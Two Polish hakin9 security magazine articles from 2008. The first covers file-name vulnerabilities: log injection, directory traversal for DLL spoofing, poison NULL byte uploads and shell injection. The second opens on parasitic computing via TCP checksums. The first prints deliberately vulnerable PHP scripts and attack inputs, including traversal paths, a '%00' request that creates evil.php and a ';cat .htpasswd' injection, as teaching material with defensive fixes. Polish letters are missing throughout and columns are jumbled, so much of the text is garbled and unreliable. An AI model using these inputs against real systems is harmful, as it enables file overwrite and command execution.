Aplikacje serwerowe udostpniajce pliki bardzo czsto zapisuj w logach wszystkie nazwy plikw danych przez uytkownikw, wraz z daniami, ktre zakoczyy si niepowodzeniem (np. z powodu nieistniejcego zasobu) co, samo w sobie, jest oczywicie bardzo dobrym pomysem i jest niezwykle przydatne przy przeprowadzaniu wszelkiego rodzaju analiz i bada, na przykad powamaniowych. Czsto w tym celu uywa si logw w formacie tekstowym, gwnie z uwagi na prostot zapisu oraz pniejszego odczytu czy to przez czowieka, czy przez przeznaczone do tego celu skrypty. Problem pojawia si w momencie, gdy programista zaniedba konwersje niektrych znakw specjalnych pojawiajcych si w nazwie zadanego zasobu, takich jak znak nowej linii. Naley jednak zauway, i atakujcy musi mie moliwo wstawienia znaku nowej linii, ktry nie zostanie obsuony w ramach parsowania pakietu jest to moliwe w protokoach binarnych oraz w protokoach tekstowych udostpniajcych znaki ucieczki lub alternatywne kodowanie znakw, np. za pomoc ich kodw ASCII. W takim wypadku atakujcy moe wstawi do logw dodatkowe,

Rysunek 1. Okno transferu pliku w Gadu-Gadu 6 nieprawdziwe wpisy, mogce zmyli osoby przeprowadzajce analiz powamaniow lub w przypadku, gdy system korzysta z analizatora logw odci dostp do usugi zaufanym hostom. Jako przykad wyobramy sobie aplikacj udostpniajc pliki, ktra tworzy logi w postaci:
IP _ uytkownika: stan(OK lub ERROR) dany plik

Przykadowy wpis w logach mgby wyglda tak:


192.168.0.12: OK /var/files/cars.db

Prosz zauway, e atakujcy w takim wypadku moe wysa specjalnie spreparowane danie, ktre spowoduje wstawienie dodatkowych wpisw do logw wystarczy, e uyje znaku nowej linii w nazwie danego zasobu. Przykadowo, atakujcy mgby poprosi o plik /var/files/csrs.db\n123.123.123.123: OK /etc/shadow (gdzie \n to znak nowej linii). Takie danie spowodowaoby pojawienie si w logach nastpujcego wpisu:
192.168.0.12: ERROR /var/files/csrs.db 123.123.123.123: OK /etc/shadow

Listing 1. Tekstowa baza uytkownikw


[User] LOGIN=admin PASS=md5:d10a20c8c3b635d4a6f7dcdae96a15d2 ACCESSLEVEL=admin LASTREQUEST=/var/files/csrs.db [User] LOGIN=hax PASS=md5:d41d8cd98f00b204e9800998ecf8427e #ACCESSLEVEL=user (default) LASTREQUEST=/var/files/rules.txt

W konsekwencji wystraszony administrator (lub analizator logw, ktrego uywa) mgby odci dostp z hosta 123.123.123.123. W powyszym przykadzie problem wynikajcy z wystpienia nieobsuonego znaku nowej linii wydaje si by stosunkowo niegrony, jednak nietrudno wyobrazi sobie groniejszy przypadek, gdy nazwa ostatniego zadanego przez uytkownika pliku jest zapisywana do tekstowego pliku konfiguracyjnego. W takim wypadku atakujcy dostaje moliwo dopisania dowolnej opcji do pliku konfiguracyjnego przykadowo takiej, ktra zwikszy jego uprawnienia. Jako przykad wemy wyimaginowany serwer plikw korzystajcy z tekstowej bazy danych, w ktrej przechowuje informacje o kontach uytkownikw, takie jak login, haso, poziom dostpu oraz ostatnio zadany plik. Przykad takiej bazy znajduje si na Listingu 1. Gdy uytkownik zada jakiego pliku, aplikacja serwerowa zapisuje informacje o daniu do bazy danych (pole LASTREQUEST), po czym kontynuuje przetwarzanie. W takim wypadku atakujcy ma moliwo wysania dania zawierajcego znak nowej linii, ktre nieodpowiednio obsuone spowoduje dodanie opcji ACCESSLEVEL=admin do pliku konfiguracyjnego, co po przeadowaniu bazy danych spowoduje nadanie uytkownikowi wyszego poziomu dostpu. danie takie moe wyglda nastpujco:
\nACCESSLEVEL=admin

Analogiczny bd wystpowa w Penultima Online emulatorze serwera Ulti-

www.hakin9.org

hakin9 Nr 01/2008

31

Atak

my Online, dotyczy on jednak nie nazwy pliku, a nazwy uytkownika. Za pomoc znaku nowej linii moliwe byo nadanie konkretnej postaci w grze uprawnie administratora. Jak wida, bd ten dotyczy nie tylko nazw plikw. Niegrony, nie mniej jednak interesujcy, bd zwizany z brakiem obsugi znaku nowej linii zosta znaleziony przez autora w Fileinfo (http:// blog.hispasec.com/lab/advisories/ adv_Fileinfo-2_09_multiple_vulnerabilities.txt), pluginie do Total Commandera autorstwa Francoisa Ganniera. Fileinfo jest pluginem wywietlajcym informacje o strukturze plikw wykonywalnych (MZ, PE) oraz obiektowych (COFF). Bd by umiejscowiony w obsudze plikw PE autor zaoy, e nazwa importowanej biblioteki DLL bdzie normaln nazw pliku. Nie przewidzia jednak moliwoci, e bdzie ona zawieraa znaki nowej linii, co umoliwia atakujcemu dodanie wasnych faszywych informacji o danym pliku PE do raportu generowanego przez Fileinfo (patrz Rysunek 2).

Problem wyboru

Problem wyboru nazwy pliku dotyczy konkretnych przypadkw, w ktrych programista dostaje kilka nazw, teoretycznie identycznych, okrelajcych jeden plik i musi dokona wyboru, ktrej nazwy uy. Jako e nazwy powinny by przynajmniej w teorii identyczne, wybr wydaje si nie mie znaczenia, ale co w wypadku, gdy atakujcy spreparuje po-

dane aplikacji dane i nazwy nie bd takie same? Tego typu problem pojawia si w przypadku archiww ZIP, w ktrych nazwa skompresowanego pliku zapisana jest w dwch miejscach: przed skompresowanymi danymi w tzw. lokalnym nagwku pliku (ang. local file header) oraz w nagwku pliku w centralnym katalogu (ang. central directory). Programista powinien wybra jedn nazw, ktr najpierw pokae uytkownikowi w celu weryfikacji pliku do rozpakowania lub po prostu wylistowania plikw w archiwum, a nastpnie powinien uy tej samej nazwy przy tworzeniu rozpakowanego pliku. Okazuje si, e nie zawsze tak si dzieje. Przykadowo w menaderze plikw Unreal Commander firmy X-Diesel podczas listowania plikw archiwum aplikacja pokazuje uytkownikowi nazwy plikw pobrane z centralnego katalogu, jednak przy rozpakowywaniu danego pliku aplikacja korzysta z nazwy zawartej w lokalnym nagwku pliku (http://blog.hispasec.com/lab/ advisories/adv_UnrealCommander_ 0_92_build_573_Multiple_Vulnerabilities.txt). W takim wypadku atakujcy moe ukry prawdziw tosamo pliku nawet przed uwanym uytkownikiem. Naley zauway, e zagroenie wynikajce z tego zaniedbania wydaje si by niewielkie, ale w poczeniu z innymi bdami (np. gonym bdem z kursorami animowanymi .ani wewntrzna funkcja systemu Windows bya podatna na atak

typu buffer overflow podczas odczytu danych z pliku z animowanym kursorem, rwnie przy generowaniu podgldu w momencie listowania plikw w katalogu za pomoc Windows Explorera lub dowolnego innego menadera plikw wywietlajcego podgld kursorw animowanych) zagroenie moe wzrosn.

Directory traversal

Listing 2. Prosty skrypt tworzcy pliki tekstowe


<?php // Pobierz argumenty if(!isset($_GET['name']) || !isset($_GET['data'])) die('Usage: set name to file name, and data to data'); $fname = $_GET['name']; $fdata = $_GET['data']; // Usun slashe jesli trzeba if(get_magic_quotes_gpc()) { $fname = stripslashes($fname); $fdata = stripslashes($fdata); } // Zapisz file_put_contents($fname . '.txt', $data); ?>

Pozostajc przy tematyce archiww, warto wskaza czsto wystpujcy bd, polegajcy na uyciu nazwy pliku zawartej w archiwum bez sprawdzenia, czy nie zawiera ona znakw specjalnych sucych do zapisu cieek relatywnych czyli kropki, slasha oraz backslasha, lub w wypadku, gdy jest to dopuszczalne nie poinformowania uytkownika o tym fakcie, np. prezentacja jedynie nazw plikw, bez doczonej do nich cieki wzgldnej. Przykadowo w plikach ZIP moliwe jest zapisanie relatywnej cieki zawierajcej odwoania do katalogu nadrzdnego, czyli /../../../../. W takim wypadku niewystarczajco zabezpieczona aplikacja rozpakowaaby plik do jednego z katalogw nadrzdnych, a nawet w dowolnie wskazane miejsce przez atakujcego. W przypadku systemu Windows miejsce ograniczyoby si do danej partycji. Rozwaajc konsekwencje takiej moliwoci, naley wskaza atak podmiany DLL (ang. DLL Spoofing), polegajcy na utworzeniu w katalogu aplikacji biblioteki DLL o takiej samej nazwie, jak dowolna nie-systemowa biblioteka DLL, z ktrej korzysta aplikacja, a ktra normalnie jest umieszczona w katalogu systemowym (na przykad w C:\Windows\system32). Spowodowaoby to, e w momencie uruchomienia aplikacji zostaaby zaimportowana biblioteka z katalogu aplikacji, a nie ta umieszczona w katalogu systemowym skutkujc wykonaniem kodu umieszczonego przez atakujcego w bibliotece DLL. Naley zauway, e w takim wypadku nie jest konieczna podmiana adnego pliku, a tym bardziej nie jest konieczne rczne uruchomienie podstawionej biblioteki DLL. Atak ten poczony z opisanym moliwym bdem w implementa-

32

hakin9 Nr 01/2008

www.hakin9.org

Niebezpieczne nazwy plikw

cji rozpakowywania plikw ZIP mgby wyglda nastpujco: w pliku ZIP podana byaby nazwa pliku w postaci:
../../../../../../../../Program Files/ mIRC/wsock32.dll

W momencie rozpakowania (przy zaoeniu, e na danym dysku istnieje katalog Program Files oraz katalog mIRC) plik wsock32.dll zostaby rozpakowany do katalogu \ProgramFiles\mIRC, a nie jak uytkownik by oczekiwa do katalogu wskazanego przez niego. Dzieje si tak dlatego, i programista zaoy, e nazwa nie bdzie zawieraa cieki lub nie bdzie to cieka, ktra odwouje si do nadrzdnych katalogw. W konsekwencji uy wic nazwy pliku bez uprzedniej korekty w poleceniu tworzcym plik, na przykad CreateFile. Wydawaoby si jednak, e aby przeprowadzi taki atak, naley zna dokadny poziom zagbienia w struktur katalogw w celu okrelenia niezbdnej iloci odwoa do katalogw nadrzdnych (czyli dokadn ilo ../). Jak si okazuje, nie jest to konieczne, poniewa system Windows nie zgasza bdu, gdy nastpuje odwoanie do katalogu nadrzdnego w gwnym katalogu dysku, przez co moliwe jest uycie nadmiarowej iloci odwoa do nadrzdnego katalogu w celu upewnienia si i kontekst faktycznie dotrze do gwnego katalogu dysku. W momencie, gdy niczego niewiadomy uytkownik uruchomi mIRC'a, uruchomiony zostanie

rwnie kod zawarty w podstawionej bibliotece wsock32.dll. Tego typu bd pojawi si na przykad w wymienionym ju wczeniej Unreal Commanderze (w momencie pisania artykuu jest on nadal niepoprawiony) oraz w starszych wersjach Total Commandera. Aplikacja korzystajca z zewntrznych nazw plikw powinna zwraca szczegln uwag na znaki umoliwiajce podrowanie po drzewie katalogw czyli slashe, kropki oraz backslashe. Dobrym pomysem jest konwersja tych znakw na inne (na przykad na underscore _ ) lub usunicie odwoa do katalogw (np. wykasowanie wszystkich odwoa do nadrzdnych katalogw czyli cigw ../ oraz /..) w tym wypadku naley jednak zwrci szczegln uwag na to, czy usunite zostay faktycznie wszystkie prby odwoania do nadrzdnych katalogw. W wypadku, gdy cig byby sprawdzany tylko raz, i cig ../ byby usuwany tylko w pierwszym sprawdzaniu, moliwe jest stworzenie cigu ktry po usuniciu pierwszych ../ ponownie sformuuje cig odwoujcy si do katalogu nadrzdnego. Przykadowo wemy poniszy cig:
ala/.../.../..//kot

Funkcja usuwajca powinna wic poszukiwa odwoa do katalogw nadrzdnych, dopki na pewno nie zostan usunite wszystkie cigi ../.

Remote directory traversal

Bd typu directory traversal mona wykorzysta rwnie zdalnie, na przykad w przypadku aplikacji klienckich protokou FTP, ktre pokadaj zbyt due zaufanie w poprawnoci otrzymanych od serwera FTP nazw plikw. Tego typu bd wystpowa w menaderze plikw Total Commander, do wersji 7.01 wcznie (http://blog.hispasec.com/ lab/advisories/adv_TotalCommander_7_01_Remote_Traversal.txt). Total Commander po poczeniu z serwerem FTP moe wysa do niego jedn z komend takich jak: USER, PASS, SYST, FEAT, PWD, TYPE, PASV oraz LIST. Odpowiedzi serwera na ostatni komend jest lista plikw obecnych w danym katalogu. Format listy zaley od serwera FTP, midzy innymi format UNIX Type: L8 wyglda identycznie, jak wynik polecenia ls -l, na przykad:
-rwxr-xr-x 1 ftp ftp 4096 Aug 1 02:28 plik

Funkcja usunaby kolejne wystpienia cigu ../, co spowodowaoby powstanie poniszego cigu:
ala/../kot

Aplikacja spodziewa si, e ostatnie pole bdzie faktycznie nazw pliku w danym katalogu i nie bdzie zawiera cieki wzgldnej ani bezwzgldnej. Moliwe jest zatem stworzenie serwera FTP, ktry w licie plikw bdzie wysya plik z backslashami oraz kropkami w nazwie, na przykad:
-rwxr-xr-x 1 ftp ftp 4096 Aug 1 02: 28 ..\..\..\..\..\Program Files\mIRC\ wsock32.dll

Rysunek 2. Okno raportu Fileinfo z wstawionym napisem Proof of concept

Okazuje si, i w takim wypadku Total Commander w licie plikw w danym katalogu FTP wywietli jedynie sam nazw pliku czyli wsock32.dll, bez penej cieki katalogw. Jednak w momencie, gdy uytkownik zdecyduje si cign plik na dysk lokalny, Total Commander uyje penej znanej sobie nazwy pliku, cznie ze ciek katalogw i odwoaniami do katalogw nadrzdnych. W przypadku, gdy uyt-

www.hakin9.org

hakin9 Nr 01/2008

33

Atak

kownik ciga z serwera wicej ni jeden plik, na przykad kilka plikw lub katalogw wraz z zawartoci, Total Commander nie informuje w aden sposb uytkownika o pliku skopiowanym do innej lokacji. Jak wida, bd jest do grony w kocu nietrudno przekona uytkownika, aby cign kilka katalogw z serwera FTP. Luka ta zostaa poprawiona w wersji 7.02. Trzeba przyzna, i autor Total Commandera dba o swoj aplikacj atk wypuci kilka dni po otrzymaniu informacji o luce.

Poison NULL byte

Kolejny bd, ju nie tak oczywisty jak poprzednie, dotyczy konwersji metody przechowywania znakw z binarnie bezpiecznej (ang. binary safe) na metod stosujc terminator, na przykad ASCIIZ ASCII zakoczone bajtem zerowym, ang. ASCII Zero-terminated). Wikszo jzykw skryptowych i opartych na maszynach wirtualnych, takich jak Perl, PHP, Python, Java, itd., przechowuje acuchy znakw stosujc struktur skadajc si z pola zawierajcego liczb bajtw (znakw) w acuchu oraz tablicy bajtw (znakw) danych acucha. Natomiast API popularnych systemw operacyjnych, takich jak Windows czy systemw opartych o jdro Linuksa, korzystaj ze stringw bdcych po prostu tablic znakw zakoczon terminatorem w przypadku w/w systemw jest to znak o kodzie binarnym rwnym zero. W zwizku z tym, gdy implementacja polece jzyka wymaga odwoania do API systemowych, zachodzi potrzeba konwersji metody zapisu acucha znakw. Problem pojawia si w momencie, gdy acuch zawiera znak o kodzie rwnym zero, ktry jest cakowicie legalnym znakiem dla metoListing 3. Wykorzystanie separatorw do nieautoryzowanych polece
; polecenie | polecenie && polecenie || polecenie `polecenie` $(polecenie)

dy uywanej wewntrz jzyka, jednak w przypadku acuchw z terminatorem zostanie zinterpretowany jako znak koca acucha. Korzystajc z tej metody atakujcy uywajc bajtu zerowego moe przedwczenie zakoczy acuch, czyli zapobiec konkatenacji kolejnych acuchw. W rzeczywistoci bd one doklejane, jednak funkcje API bd ignorowa wszystko, co nastpuje po bajcie zerowym. Wemy pod uwag przykadowy skrypt znajdujcy si na Listingu 2. Celem programisty piszcego ten skrypt byo stworzenie prostego interfejsu pozwalajcego atwo generowa pliki tekstowe z rozszerzeniem .txt, w dowolnej lokacji na dysku. Atakujcy mgby jednak uy bajtu zerowego, by utworzy plik o dowolnym rozszerzeniu, wykonujc na przykad zapytanie:
http://serwer/skrypt.php?name = evil .php%00&data= evil _ script _ goes _ here

lecenia mona uzyska w jeden z nastpujcych sposobw (Listing 3). Dodatkowo moliwe jest przekierowanie standardowych strumieni za pomoc < (stdin), > (stdout) oraz 2> (stderr). Przykadowy skrypt podatny na tego typu atak wyglda nastpujco:
<?php system(file . $_GET['name']); ?>

W zamierzeniu programisty skrypt mia wypisywa informacj korzystajc z polecenia file o typie wskazanego pliku. Atakujcy mgby jednak wykona zapytanie, ktre spowodowaoby uruchomienie dodatkowego polecenia, na przykad:
http://serwer/info.php?name=;cat%20.ht passwd

W tym wypadku API systemowe otrzymaoby polecenie utworzenia pliku o nazwie evil.php\0.txt, gdzie \0 to bajt zerowy, natomiast jako e bajt zerowy to w tym wypadku terminator utworzony zostaby plik evil.php, a reszta nazwy zostaaby zignorowana. Warto wspomnie i termin trujcy bajt zerowy (ang. poison NULL byte) zosta pierwszy raz uyty w roku 1998 przez Olafa Kircha na licie Bugtraq. Na bd typu poison NULL byte podatne byo midzy innymi phpBB. Bd ten wykryty zosta przez hakera o pseudonimie ShAnKaR w roku 2004.

W takim wypadku wykonane zostaoby polecenie system z parametrem file ;cat .htpasswd. Programista korzystajcy z zewntrznych polece powinien zwrci szczegln uwag na otrzymywane z zewntrz dane, w szczeglnoci powinien z nich usun wszelkie znaki umoliwiajce wykonanie dodatkowych polece takie jak ; | & ` $ ( ). Przykadowo jzyk PHP udostpnia w tym celu funkcje escapeshellarg oraz escapeshellcmd.

Inne

Shell injection

Niekiedy programici uwaaj za stosowne przekaza otrzyman z zewntrz nazw pliku do innego zewntrznego skryptu bd programu za pomoc polecenia typu system(), popen() lub analogicznych. W takich wypadkach wyjtkowo wane jest zadbanie o to, by otrzymana nazwa pliku nie zawieraa adnego separatora polece znaku lub cigu znakw, ktry umoliwiby atakujcemu uruchomienie dodatkowego polecenia. W przypadku systemw opartych o jdro Linuksa uruchomienie dodatkowego po-

Oprcz powyszych, czsto popenianych zaniedba, programista powinien oczywicie rwnie uwaa na standardowe bdy typu przepenienie bufora czy format bug. Bdy te byy opisywane ju wielokrotnie, wic zainteresowany Czytelnik nie powinien mie trudnoci ze znalezieniem dokadniejszych informacji na ich temat.

Rnice w systemach plikw

Na koniec warto wspomnie o kilku trywialnych rnicach midzy systemami plikw uywanych w systemach z rodziny Windows oraz POSIX-owych, czyli stosujcych systemy plikw rozrniajce wielko liter, ktre mog utrudni ycie programicie tworzcemu midzyplatformow aplikacj. Systemy POSIX-owe w wikszoci przypadkw korzystaj

34

hakin9 Nr 01/2008

www.hakin9.org

Niebezpieczne nazwy plikw

O autorze

Micha Skadnikiewicz, inynier informatyki, ma wieloletnie dowiadczenie jako programista oraz reverse engineer. Obecnie jest koordynatorem dziau analiz w midzynarodowej firmie specjalizujcej si w bezpieczestwie komputerowym. Kontakt z autorem: gynvael@coldwind.pl

z systemw plikw, ktre jednoznacznie okrelaj nazw pliku czyli, z pominiciem linkw symbolicznych, jeden plik ma tylko i wycznie jedn nazw, i wycznie po tej nazwie mona si do niego odwoa chodzi m.in. wraliwo na wielko liter. Nie jest tak w przypadku systemw z rodziny Windows. Jako przykad wemy plik ala.txt mona si do niego odwoa uywajc nazwy ala.txt, ALA.TXT, aLa.TxT, lub ala.TXT system ten, nie do e jest niewraliwy na wielko liter, to jeszcze ignoruje wszystkie kropki wystpujce na kocu nazwy pliku. Dodatkowy wariant odwoania do pliku pojawia si w wypadku, gdy plik ma nazw, ktrej nie mona zapisa w formacie 8.3 (8 znaR

kw nazwy, 3 znaki rozszerzenia) na przykad alamakota.txt. Do pliku odwoa si mona wtedy korzystajc ze skrconej wersji jego dugiej nazwy, czyli na przykad alamak~1.txt. Naley zauway, e z tego powodu archiwum zawierajce pliki ala.txt, aLa.TxT, oraz ALA.TXT zostanie rozpakowane w zupenie inny sposb w systemie POSIX-owym oraz systemie z rodziny Windows. Kolejnym problemem mog by zastrzeone ju w czasach MS-DOS nazwy plikw, takie jak con, nul czy com1 com9. Pliki o takich nazwach mog bez problemu istnie w systemach POSIX-owych, natomiast w systemach z rodziny Windows takie pliki nie mog zosta utworzone a przynajmniej w standardowy sposb. E K L A M

Jeszcze inny problem mog sprawi alternatywne strumienie danych w systemie plikw NTFS, do ktrych odwouje si za pomoc dwukropka. Przykadowo plik ala:kot mgby by normalnym plikiem w systemie POSIX-owym, natomiast w przypadku systemu korzystajcego z NTFS ala:kot oznacza strumie kot w pliku ala. Ostatni bardzo widoczn rnic jest zapis cieek katalogw w przypadku systemw POSIX-owych separatorem katalogw jest slash, natomiast w przypadku systemw z rodziny Windows moe to by zarwno slash, jak i backslash. Tak wic plik ala\kot mgby by normalnym plikiem w systemie POSIX-owym, ale w systemie z rodziny Windows oznaczaby on plik kot w katalogu ala.

Podsumowanie

Mam nadziej, i niniejszy artyku pomoe programistom ustrzec si bdw zwizanych z obsug nazw plikw otrzymanych z zewntrz, a testerom wskae miejsca, w ktrych potencjalny bd mgby zaistnie. l A

Obliczenia pasoytnicze
Atak
Micha Sty

stopie trudnoci

Niezawodne przesyanie danych w Internecie gwarantowane jest przez zestaw protokow sieciowych implementowanych w systemach komputerowych. Artyku ten pokae, w jaki sposb protokoy te mog zosta wykorzystane w celu zmuszenia zdalnych systemw do niewiadomego wykonania uytecznych z punktu widzenia napastnika oblicze.

rzesyanie informacji za porednictwem Internetu jest zoonym procesem regulowanym przez zestaw protokow. Protokoy te implementowane s obecnie zgodnie z globalnym standardem okrelajcym warstwy funkcjonalne wymagane do obsugi pocze o nazwie OSI (Open System Interconnection). Kiedy uytkownik wpisuje do swojej przegldarki internetowej adres URL w celu obejrzenia strony WWW, przegldarka nawizuje poczenie przy wykorzystaniu protokou TCP (Transmission Control Protocol). W nastpnej kolejnoci, przy wykorzystaniu istniejcego poczenia TCP, wysyane jest danie za porednictwem protokou HTTP (Hyper Text Transfer Protocol). Pakiet TCP jest przesyany przez sie za porednictwem protokou IP (Internet Protocol). Przesyany komunikat moe zosta podzielony na mniejsze pakiety, ktre przesane zostan niezalenie przez szereg routerw znajdujcych si midzy rdem a miejscem docelowym. Kiedy danie HTTP dotrze do miejsca przeznaczenia, odpowied odsyana jest tym samym poczeniem TCP, jakie zostao nawizane przez przegldark uytkownika. Mechanizmy zaimplementowane w protokoach TCP/IP rekonstruuj oryginalny komu-

nikat ze zbioru pakietw, jakie zostay przesane przez sie. Komunikat ten jest ostatecznie przetwarzany w warstwie aplikacji przez protok HTTP. Po zinterpretowaniu dania przez serwer WWW zostaje wygenerowana odpowied (moe to by waciwa strona, komunikat o bdzie itd.). Jak wida, prosty z pozoru proces wymaga dosy znacznej liczby oblicze zarwno po stronie wysyajcej, jak i odbierajcej danie. Niezawodno komunikacji, jak zapewnia do-

Z artykuu dowiesz si
w jaki sposb wykorzysta protokoy sieciowe, aby wykonywa obliczenia na komputerach podczonych do Sieci, jakie znaczenie dla bezpieczestwa komputerowego ma trudno rozwizywania problemw klasy NP.

Co powiniene wiedzie
powiniene mie podstawow wiedz o modelu OSI, powiniene rozumie, jak dziaaj protokoy sieciowe.

36

hakin9 Nr 01/2008

www.hakin9.org

Techniki oblicze pasoytniczych

datkowo protok TCP, wprowadza takie elementy jak trjfazowe uzgadnianie poczenia, potwierdzanie otrzymania pakietu, sumy kontrolne oraz numery sekwencyjne. Elementy zapewniajce niezawodno komunikacji mona jednak wykorzysta w zupenie innym celu ni ten, do ktrego zostay zaprojektowane.

Pasoytniczy komputer

Termin pasoytniczy komputer odnosi si do realizacji abstrakcyjnej maszyny skadajcej si z rozproszonych w sieci komputerw. Podobnie jak w przypadku standardowych projektw realizujcych obliczenia rozproszone, maszyna ta zbudowana jest w oparciu o protokoy sieciowe. W odrnieniu jednak od nich, ukad pasoytniczy wykonuje obliczenia bez wiedzy i pozwolenia waciciela komputera ofiary, wykorzystywanego jako wze obliczeniowy. Informatyka pasoytnicza nie musi zakada rwnie koniecznoci ingerencji w oprogramowanie dziaajce na komputerze ofiary. Nie dochodzi tutaj do wamania do zdalnego systemu ani te instalowania na nim jakiegokolwiek zoliwego oprogramowania.

Realizacja pasoytniczego komputera

Protok TCP dobrze nadaje si do zrealizowania idei pasoytniczego komputera w praktyce. Do tego celu posuy moe mechanizm sumy kontrolnej. Pakiet przesyany przez Internet moe w ktrym momencie ulec

uszkodzeniu. Przykadowo, seria sygnaw elektrycznych reprezentujcych bity moe zosta zmieniona w czasie przepywu przez kabel koncentryczny wskutek tumienia lub interferencji wywoanych przez rda pl elektromagnetycznych znajdujcych si w pobliu medium transmisyjnego. Aby zapewni niezawodno w tego typu sytuacjach, protok TCP wprowadza mechanizm sumy kontrolnej. Komputer wysyajcy pakiet oblicza jego sum kontroln i docza j do pakietu. Nastpnie operacj obliczenia sumy kontrolnej odbiorca wykonuje na otrzymanym pakiecie. Jeli suma kontrolna zapisana w pakiecie zgadza si z sum obliczon dla tego pakietu, oznacza to, e dane s poprawne i mog by przekazane do wyszych warstw protokow modelu OSI. Jeli wystpia niezgodno, pakiet uznawany jest za uszkodzony, a warstwa TCP usuwa go i nie wysya do odbiorcy potwierdzenia otrzymania danych. Interesujc nas waciwoci tego mechanizmu jest fakt, e suma kontrolna TCP wyliczana jest przy wykorzystaniu operacji wystarczajcych do wykonania kadej operacji mieszczcej si w zakresie algebry Boole'a. Istnieje zatem moliwo wykorzystania go jako bramki logicznej. To z kolei otwiera drzwi do wykonywania operacji arytmetycznych. Implementacja ukadu oblicze pasoytniczych wykorzystujcych protok TCP polega na zbudowaniu pakietu ze specjalnie spreparowan sum kontroln. Kompu-

ter ofiary w procesie przetwarzania dania i generowania odpowiedzi automatycznie wykona zlecone obliczenie podczas wykonywania algorytmu sprawdzania sumy kontrolnej. Zakres dziaania omawianych mechanizmw wystarcza do zbudowania pasoytniczego ukadu obliczeniowego.

Informatyka pasoytnicza

W obliczu omwionego potencjau zwizanego z moliwoci korzystania z zasobw obliczeniowych komputerw w Internecie pojawia si pytanie: do czego mona taki mechanizm zastosowa? W roku 2001 czterech naukowcw Albert Laszlo Barabasi, Vincent W. Freeh, Hawoong Jeong oraz Jay B. Brockman zaproponowao mechanizm rozwizywania problemu klasy NP (non-polynomial) przy wykorzystaniu oblicze pasoytniczych. Ich publikacja wzbudzia spore zainteresowanie, jako e na trudnoci rozwizywania problemw tej klasy opiera si cae bezpieczestwo wspczesnych mechanizmw kryptograficznych. Gdyby znaleziony zosta sposb na rozwizywanie problemw NP w rozsdnym czasie, wikszo znanych technik kryptograficznych staaby si bezuyteczna. Aby rozwizywa problemy matematyczne przy wykorzystaniu sumy kontrolnej TCP, konieczna jestodpowiednia reprezentacja problemu. Dla problemw NP stosowna w tym przypadku jest reprezen-

Listing 1. Program dla pasoytniczej maszyny wirtualnej napisany w mikroassemblerze 4IA (plik sub.4ia)
ARCH 00: 01: 02: 03: 04: 05: 06: 07: 08: 09: 10: SET SET SET SET ADD SET ADD ADD SET SET HLT 8 10 ; Definicja architektury. Rejestry o dugoci 8 bitw, liczba rejestrw 10

r3, 0xFF ; Do rejestru r3 adujemy warto -1 r2, 5 ; Do rejestru r2 adujemy 5. Bdzie to ilo iteracji w ptli r9, 100 ; Rejestr r9 przechowa warto, od ktrej bdziemy odejmowa r0, 4 ; Do rejestru instrukcji adujemy numer, od ktrego zacznie si ptla r9, r3 ; Wykonujemy operacj odejmowania na rejestrze r9 (100+(-1)) r1, 0 ; Reset flagi przepenienia r2, r3 ; Zmniejszamy licznik ptli o 1 r0, r1 ; Jeli flaga przepenienia==1, skaczemy do instrukcji 09 r0, 9 ; Koniec ptli, skok do linii 10 r0, 3 ; Ptla trwa, skok do linii 04 ; Koniec dziaania programu

www.hakin9.org

hakin9 Nr 01/2008

37

Atak

Listing 2. Stan rejestrw pasoytniczej maszyny wirtualnej po zakoczeniu wykonywania zadania obliczeniowego
Register -------r0000000 r0000001 r0000002 r0000003 r0000004 r0000005 r0000006 r0000007 r0000008 r0000009 r0000010 Decimal ------10 0 255 255 0 0 0 0 0 95 0 Hex ------0x000a 0x0000 0x00ff 0x00ff 0x0000 0x0000 0x0000 0x0000 0x0000 0x005f 0x0000 Comment --------------------------Instruction pointer (ip) Flag register (fl) XIA error register XIA carry register

tacja problemu jako Boole'owskie rwnanie spenialnoci. Rwnania takie okrela si jako SAT. Rwnania spenialnoci SAT pozwalaj na zapis problemu przy wykorzystaniu operatorw logiki Boole'a. Jako przykad rwnania SAT moe posuy nastpujca konstrukcja:
P=(x1 XOR x2) AND (~x2 AND x3)

oznacza tu problem, natomiast x1, oraz x3 s parametrami. W prezentowanym przykadzie istnieje 23 potencjalnych rozwiza, ale rwnanie bdzie spenione tylko dla jednego z nich w tym przypadku x1=1, x2=0, x3=1. Rozwizywanie problemw SAT polega na odnalezieniu takiej wartoci wszystkich parametrw, aby cae rwnanie mogo by spenione. Zaprezentowany przykad rwnania SAT jest trywialny i moe by rozwizany bardzo atwo. W przypadku bardziej zoonych rwna zawierajcych wicej parametrw problem staje si NP-zupeny. Z uwagi na swoj specyfik, rwnanie SAT moe zosta zapisane jako sekwencja bitw, ktra zostaje nastpnie uformowana w pakiet TCP i wysana do ofiary jako element problemu do policzenia.
P x2

Scenariusz pasoytniczego komputera zilustrowany zosta na Rysunkach 1 oraz 2. W pierwszym kroku komputer-pasoyt, nadzorujcy proces wykonywania oblicze, przygotowuje 2n specjalnie skonstruowanych pakietw zawierajcych wszystkie moliwe kombinacje parametrw rwnania SAT. Nastpnie wysya spreparowane pakiety TCP do pewnej liczby maszyn-ofiar. Maszyny te wyposaone s w jednostki arytmetycznologiczne, umoliwiajce wykonywanie oblicze oraz w interfejsy sieciowe umoliwiajce zdalne poczenia (warunki te spenia kady komputer podczony do Internetu). Pakiety zawierajce bdne rozwizania nie posiadaj prawidowej sumy kontrolnej i zostaj odrzucone (ilustruje to strzaka z opisujca bdne rozwizanie). W przypadku, gdy rozwizanie problemu jest poprawne, obliczenie sumy kontrolnej zakoczy si sukcesem, a pakiet trafi w gr stosu protokow. Poniewa protok HTTP zakada generowanie odpowiedzi na wszystkie, nawet niepoprawne, dania, zostanie ona wysana, gdy tylko pakiet dotrze do warstwy apli-

kacji. Dziki temu mona rozpozna, ktry zestaw parametrw jest poprawnym rozwizaniem problemu SAT. Po wysaniu wszystkich pakietw do milionw komputerw w Internecie odpowiedziayby tylko te, ktre otrzymay pakiety zawierajce parametry rwnania SAT bdce prawidowym rozwizaniem. Reszta pakietw zostaaby po prostu odrzucona. Moliwe jest zatem odnalezienie rozwizania bez wykonywania oblicze na lokalnym komputerze. Barabasi, Freeh, Jeong oraz Brockman przeprowadzili udan prb rozwizania rwnania SAT przy wykorzystaniu omawianej techniki. Udowodnili tym samym tez, e moliwe jest zmuszanie komputerw w Internecie do wykonywania konkretnych oblicze bez koniecznoci naruszania ich infrastruktury i instalowania na nich dodatkowego oprogramowania. Dodatkowo spore problemy stwarza zabezpieczenie si przed tego typu technikami. Poniewa wykorzystywane s standardowe mechanizmy zapewniajce funkcjonowanie komputera w sieci, uniemoliwienie takich oblicze jest praktycznie nierealne.

